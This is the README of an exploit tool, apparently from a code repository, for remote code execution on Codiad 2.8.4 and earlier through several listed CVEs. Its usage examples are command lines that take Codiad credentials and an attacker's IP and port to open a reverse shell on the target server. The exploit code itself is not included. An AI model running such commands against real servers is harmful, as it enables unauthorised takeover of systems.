Codiad-Remote-Code-Execute-Exploit
Description
A simple exploit to execute system command on Codiad This tool will exploit the vuln Codiad application to get a reverse shell
CVE
- CVE-2017-11366
- CVE-2017-15689
- CVE-2018-14009 (0 Day exploitation)
Effected Version
<=2.8.4 (latest version)
Effected Environment
Windows
Linux
Usage :
Usage :
python exploit.py [URL] [USERNAME] [PASSWORD] [IP] [PORT] [PLATFORM]
python exploit.py [URL:PORT] [USERNAME] [PASSWORD] [IP] [PORT] [PLATFORM]
Example :
python exploit.py http://localhost/ admin admin 8.8.8.8 8888 linux
python exploit.py http://localhost:8080/ admin admin 8.8.8.8 8888 windows
Author :
WangYihang <[email protected]>
Example videos
- 【CVE-2018-14009】 Codiad (2.8.4) RCE on Windows machine
- 【CVE-2018-14009】 Codiad (2.8.4) RCE on Linux machine
Example GIFs
Windows
Linux
Acknowledgement
@mhaskar (Give suggestions for Windows platform exploitation)